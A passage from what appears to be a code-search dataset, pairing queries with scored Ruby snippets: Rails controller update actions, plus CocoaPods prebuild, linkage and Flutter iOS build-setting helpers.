@product_feature, notice: t('success_update') }\n format.json { render :show, status: :ok, location: @product_feature }\n else\n format.html { render :edit }\n format.json { render json: @product_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c26710f39b4059edb2ca7fd15bec066c", "score": "0.5910083", "text": "def update\n respond_to do |format|\n if @product_feature.update(product_feature_params)\n format.html { redirect_to @product_feature, notice: 'Product feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_feature }\n else\n format.html { render :edit }\n format.json { render json: @product_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a81dd112460161468af69475d34141be", "score": "0.59093994", "text": "def update\n @feature = Feature.find(params[:id])\n\n respond_to do |format|\n if @feature.update_attributes(params[:feature])\n get_features\n format.js\n format.html { redirect_to(@feature, :notice => 'Feature was successfully updated.') }\n format.xml { head :ok }\n else\n format.js\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7d1a56bf6790cb2301edf610a4dbda24", "score": "0.59073466", "text": "def update\n respond_to do |format|\n if @price_plan.update(price_plan_params)\n format.html { redirect_to @price_plan, notice: 'Price plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @price_plan }\n else\n format.html { render :edit }\n format.json { render json: @price_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dfe8fee10dd6d471ab07ded91c1beb78", "score": "0.5906796", "text": "def update\n if @plan.update(plan_params)\n render :show, status: :ok, location: enterprise_plan_url(@enterprise, @plan)\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "205827d6680ca5a389ce2cc186a48b8f", "score": "0.5896646", "text": "def update\n respond_to do |format|\n if @special_feature.update(special_feature_params)\n format.html { redirect_to @special_feature, notice: 'Special feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_feature }\n else\n format.html { render :edit }\n format.json { render json: @special_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d416d1c4d14db498cd00c397118d3ce1", "score": "0.58889055", "text": "def update\n @panel_feature = Panel::Feature.find(params[:id])\n\n respond_to do |format|\n if @panel_feature.update_attributes(params[:panel_feature])\n format.html { redirect_to(@panel_feature, :notice => 'Feature was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @panel_feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7eb4beb8c269127467ec33c90efb727", "score": "0.588568", "text": "def update\n respond_to do |format|\n if @membership_plan.update(membership_plan_params)\n format.html { redirect_to @membership_plan, notice: 'Membership plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_plan }\n else\n format.html { render :edit }\n format.json { render json: @membership_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a8f8586054350e056bc240e0b60c8de", "score": "0.58855236", "text": "def update\n respond_to do |format|\n if @discount_plan.update(discount_plan_params)\n format.html { redirect_to @discount_plan, notice: 'Discount plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @discount_plan }\n else\n format.html { render :edit }\n format.json { render json: @discount_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2375a10a6a75050e8550fbc9427cf0c0", "score": "0.58852327", "text": "def update\n @commo_plan = CommoPlan.find params[:id]\n\n respond_to do |format|\n if @commo_plan.update_attributes(commo_plan_params)\n format.html { redirect_back(fallback_location: root_path) }\n format.json { respond_with_bip(@commo_plan) }\n else\n format.html { render :action => \"show\" }\n format.json { respond_with_bip(@commo_plan) }\n end\n end\n end", "title": "" }, { "docid": "1b9cd49b0f81757fb031205c0a0f39eb", "score": "0.5871391", "text": "def update\n @bussiness_plan = BussinessPlan.find(params[:id])\n\n respond_to do |format|\n if @bussiness_plan.update_attributes(params[:bussiness_plan])\n format.html { redirect_to @bussiness_plan, notice: 'El plan de negocio se modifico satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bussiness_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15729bbb4f03a47d3b8bf69bfb5ae0a9", "score": "0.586878", "text": "def update\n if @plan.update(plan_params)\n respond_with(@plan, location: plans_url, notice: 'Plan was successfully updated.')\n else\n respond_with(@plan)\n end\n end", "title": "" }, { "docid": "613e7d2b0d45400dae3f0af046d07579", "score": "0.58665085", "text": "def update\n respond_to do |format|\n if @action_plan.update(action_plan_params)\n format.html { redirect_to @action_plan, notice: 'Action plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @action_plan }\n else\n format.html { render :edit }\n format.json { render json: @action_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6ee157a197b4705f8722b38f03174be", "score": "0.586204", "text": "def update\n respond_to do |format|\n if @boat_features_set.update(boat_features_set_params)\n format.html { redirect_to @boat_features_set, notice: 'Boat features set was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat_features_set }\n else\n format.html { render :edit }\n format.json { render json: @boat_features_set.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d03f63ef5bb49184fc5a65c6d99a9be5", "score": "0.5854527", "text": "def update\n @design_feature = DesignFeature.find(params[:id])\n\n respond_to do |format|\n if @design_feature.update_attributes(params[:design_feature])\n format.html { redirect_to @design_feature, notice: 'Design feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @design_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ba8b0c3708dc2aa2cf3c434cba69204", "score": "0.5853912", "text": "def update\n account_plan.update_attributes(account_plan_update_params)\n respond_with(account_plan)\n end", "title": "" }, { "docid": "0b3b9354b54788a66222b5cb4afa594f", "score": "0.58438194", "text": "def edit\n @pricing_plan = PricingPlan.find_by_id(params[:id])\n if request.xhr?\n if @pricing_plan\n pricing_plan = {\n name: @pricing_plan.name,\n description: @pricing_plan.description,\n price_per_month: @pricing_plan.price_per_month,\n number_of_stores: @pricing_plan.number_of_stores,\n user_staff: @pricing_plan.user_staff,\n status: @pricing_plan.status.to_s\n }\n end\n render :json => pricing_plan\n end\n end", "title": "" }, { "docid": "eb01bb5ef86c9da262e158f7078757c8", "score": "0.58391887", "text": "def update\n respond_to do |format|\n if @training_plan.update(training_plan_params)\n format.html { redirect_to @training_plan, notice: 'Training plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @training_plan }\n else\n format.html { render :edit }\n format.json { render json: @training_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1caa2f0b8f7cd63df7a38564b24fbbe", "score": "0.58385223", "text": "def update\n respond_to do |format|\n if @admin_feature.update(admin_feature_params)\n format.html { redirect_to @admin_feature, notice: 'Feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_feature }\n else\n format.html { render :edit }\n format.json { render json: @admin_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "820e43e2429c9ed707f088790c3e5275", "score": "0.583369", "text": "def update\n @plan_deliverable = PlanDeliverable.find(params[:id])\n\n respond_to do |format|\n if @plan_deliverable.update_attributes(params[:plan_deliverable])\n format.html { redirect_to @plan_deliverable, notice: 'Plan deliverable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_deliverable.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da8a69048cc9734afcfdf1a9a12a3840", "score": "0.5828498", "text": "def update\n @plan = Plan.find(params[:original_url])\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to plan_path(@plan.original_url), notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
094774775d712744eef55a97c75e23e9
Use frameworks instead of static libraries for Pods. This attribute is inherited by child target definitions.
[ { "docid": "e32fe1656152846e69a4945d15e40109", "score": "0.7398122", "text": "def use_frameworks!(flag = true)\n current_target_definition.use_frameworks!(flag)\n end", "title": "" } ]
[ { "docid": "391f93aaf4cd8571de05fa4f915c35f4", "score": "0.68636286", "text": "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "title": "" }, { "docid": "a7933f88e0e0482a20a645165b77ec26", "score": "0.67632496", "text": "def add_framework_search_paths(project, name)\n\n ['iOS', 'macOS'].each do |platform|\n [true, false].each do |isTest|\n \tt = target(project, name, platform, isTest)\n\n \t# Add carthage build dir to framework search paths\n t.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \n \"$(SRCROOT)/#{carthage_build_dir_for_platform(platform)}\"\n )\n\n if isTest\n # Add carthage build dir to runpath search paths\n case platform\n when 'iOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks $(SRCROOT)/Carthage/Build/iOS\"\n )\n when 'macOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/../Frameworks @loader_path/../Frameworks $(SRCROOT)/Carthage/Build/Mac\"\n )\n end\n end\n end\n end\nend", "title": "" }, { "docid": "bd804e3ac3e45a9b0e2bfebbc1d5ddf2", "score": "0.6745143", "text": "def prebuilt_apple_framework_targets\n filter_targets(@targets, 'prebuilt_apple_framework')\n end", "title": "" }, { "docid": "7c2c937846fde0840d6abd812334cd67", "score": "0.6675544", "text": "def add_frameworks_bundles\n UI.message '- Adding frameworks' do\n add_file_accessors_paths_to_pods_group(:vendored_frameworks, :frameworks)\n end\n end", "title": "" }, { "docid": "e5ada0bc90a27874d5f1c8e99396242d", "score": "0.66396457", "text": "def remove_static_framework_duplicate_linkage(static_framework_pods)\n puts \"Removing duplicate linkage of static frameworks\"\n\n Dir.glob(File.join(PODS_TARGET_SUPPORT_FILES_DIR, \"Pods-*\")).each do |path|\n pod_target = path.split('-', -1).last\n\n static_framework_pods.each do |target, pods|\n next if pod_target == target\n frameworks = pods.map { |pod| identify_frameworks(pod) }.flatten\n\n Dir.glob(File.join(path, \"*.xcconfig\")).each do |xcconfig|\n lines = File.readlines(xcconfig)\n\n if other_ldflags_index = lines.find_index { |l| l.start_with?('OTHER_LDFLAGS') }\n other_ldflags = lines[other_ldflags_index]\n\n frameworks.each do |framework|\n other_ldflags.gsub!(\"-framework \\\"#{framework}\\\"\", '')\n end\n\n File.open(xcconfig, 'w') do |fd|\n fd.write(lines.join)\n end\n end\n end\n end\n end\nend", "title": "" }, { "docid": "9ec2721c1677b93ab12f1d7f2b24e011", "score": "0.65886545", "text": "def mobile_sdk_pre_install(installer)\n dynamic_framework = ['SalesforceAnalytics', 'SalesforceSDKCore', 'SalesforceSDKCommon', 'SmartStore', 'FMDB', 'SQLCipher', 'MobileSync']\n installer.pod_targets.each do |pod|\n if dynamic_framework.include?(pod.name)\n def pod.build_type\n Pod::BuildType.dynamic_framework\n end\n end\n end\nend", "title": "" }, { "docid": "2ae4139b7e1f0b4770f9b720f6c6f303", "score": "0.6572614", "text": "def require_frameworks\n configuration.objc_frameworks.each { |framework| OSX.require_framework(framework) }\n end", "title": "" }, { "docid": "b9c427d3d779e466a33df04765b02072", "score": "0.6546462", "text": "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "title": "" }, { "docid": "8a2f9c5513fc347d38762a2335dd3e1f", "score": "0.6329294", "text": "def flutter_additional_ios_build_settings(target)\n return unless target.platform_name == :ios\n\n # [target.deployment_target] is a [String] formatted as \"8.0\".\n inherit_deployment_target = target.deployment_target[/\\d+/].to_i < 11\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3.\n force_to_arc_supported_min = target.deployment_target[/\\d+/].to_i < 9\n\n # This podhelper script is at $FLUTTER_ROOT/packages/flutter_tools/bin.\n # Add search paths from $FLUTTER_ROOT/bin/cache/artifacts/engine.\n artifacts_dir = File.join('..', '..', '..', '..', 'bin', 'cache', 'artifacts', 'engine')\n debug_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios', 'Flutter.xcframework'), __FILE__)\n\n unless Dir.exist?(debug_framework_dir)\n # iOS artifacts have not been downloaded.\n raise \"#{debug_framework_dir} must exist. If you're running pod install manually, make sure \\\"flutter precache --ios\\\" is executed first\"\n end\n\n release_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios-release', 'Flutter.xcframework'), __FILE__)\n # Bundles are com.apple.product-type.bundle, frameworks are com.apple.product-type.framework.\n target_is_resource_bundle = target.respond_to?(:product_type) && target.product_type == 'com.apple.product-type.bundle'\n\n target.build_configurations.each do |build_configuration|\n # Build both x86_64 and arm64 simulator archs for all dependencies. If a single plugin does not support arm64 simulators,\n # the app and all frameworks will fall back to x86_64. Unfortunately that case is not detectable in this script.\n # Therefore all pods must have a x86_64 slice available, or linking a x86_64 app will fail.\n build_configuration.build_settings['ONLY_ACTIVE_ARCH'] = 'NO' if build_configuration.type == :debug\n\n # Workaround https://github.com/CocoaPods/CocoaPods/issues/11402, do not sign resource bundles.\n if target_is_resource_bundle\n build_configuration.build_settings['CODE_SIGNING_ALLOWED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_REQUIRED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_IDENTITY'] = '-'\n build_configuration.build_settings['EXPANDED_CODE_SIGN_IDENTITY'] = '-'\n end\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n build_configuration.build_settings['IPHONEOS_DEPLOYMENT_TARGET'] = '9.0' if force_to_arc_supported_min\n\n # Skip other updates if it's not a Flutter plugin (transitive dependency).\n next unless target.dependencies.any? { |dependency| dependency.name == 'Flutter' }\n\n # Bitcode is deprecated, Flutter.framework bitcode blob will have been stripped.\n build_configuration.build_settings['ENABLE_BITCODE'] = 'NO'\n\n # Profile can't be derived from the CocoaPods build configuration. Use release framework (for linking only).\n configuration_engine_dir = build_configuration.type == :debug ? debug_framework_dir : release_framework_dir\n Dir.new(configuration_engine_dir).each_child do |xcframework_file|\n next if xcframework_file.start_with?('.') # Hidden file, possibly on external disk.\n if xcframework_file.end_with?('-simulator') # ios-arm64_x86_64-simulator\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphonesimulator*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n elsif xcframework_file.start_with?('ios-') # ios-arm64\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphoneos*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n # else Info.plist or another platform.\n end\n end\n build_configuration.build_settings['OTHER_LDFLAGS'] = '$(inherited) -framework Flutter'\n\n 